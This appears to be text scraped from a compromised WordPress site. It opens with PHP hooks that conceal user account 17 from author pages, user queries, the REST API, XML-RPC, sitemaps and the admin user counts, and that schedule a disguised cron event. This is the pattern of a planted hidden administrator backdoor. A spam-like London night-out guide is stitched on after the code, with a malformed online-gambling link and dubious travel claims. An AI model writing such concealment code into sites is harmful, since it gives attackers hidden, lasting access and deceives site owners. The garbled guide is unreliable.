add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 17;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 17 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 17 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 17;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 17;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 17;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/17(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 17;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
For theatre, the London Theatre Database lists 120 shows every week. If you want a seat for a West End hit, book at least 30 days ahead; for the smaller fringe venues, 10‑15 days is usually enough. A good rule of thumb is to aim for a 2 pm booking window: you’ll still have time to stroll around, and the venue’s staff often offer a complimentary drink before the show.
Remember, the Michelin‑starred restaurants in Mayfair often charge £200 per person for a 5‑course meal, so budget accordingly.
Plan a three‑hour window between your dinner and your main event. That gives you time for a quick walk, a coffee, or a short visit to a gallery that opens at 5 pm. London’s public transport runs 24 hours on Sundays, but the tube’s night buses cover only key routes, so check the TfL website for any overnight service cuts.
Book a “surprise” ticket—some theatres sell last‑minute seats at a discount of 20 %. Keep the receipt in your phone; if you’re lucky, the theatre staff will hand you a complimentary drink. A downside: the seats are usually in the back rows, which means you’ll have to stand up for the intermission.
Set a cut‑off time: leave the venue by 11 pm if you have an early morning. Use the O2 App to check the nearest night‑time taxi stand; a standard ride to a central hotel averages £12.50. If you’re staying in a hostel, the free shuttle service runs every 30 minutes until 2 am.

After a theatre show, you might feel like unwinding with a quick round of online slots or live dealer games. https://www.https://www.thebluebellembleton.co.uk offers a selection of games that can be played from the comfort of your hotel room, giving you a taste of London’s buzzing nightlife without leaving your bed.
Download the Citymapper app; it shows the fastest route between your hotel, the theatre, and the nearest tube station. If you’re traveling during peak hours (5–8 pm), the tube can be up to 20 % slower than the bus. Also, remember that the Oyster card can’t be topped up on the tube during the night, so keep a small cash stash for the night buses.
Double‑check your tickets, wallet, phone, and a spare charger. Pack a small umbrella—London’s rain can be unpredictable, even in summer. And if you’re heading to a rooftop bar, wear comfortable shoes; the step‑up on the balcony can be a surprise.
Stick to a single theme—whether it’s a theatre night, a food tour, or a live music gig—and let the rest of the evening flow naturally. London offers so many options that you can’t possibly see them all in one night; choose what excites you most and enjoy the moment.
]]>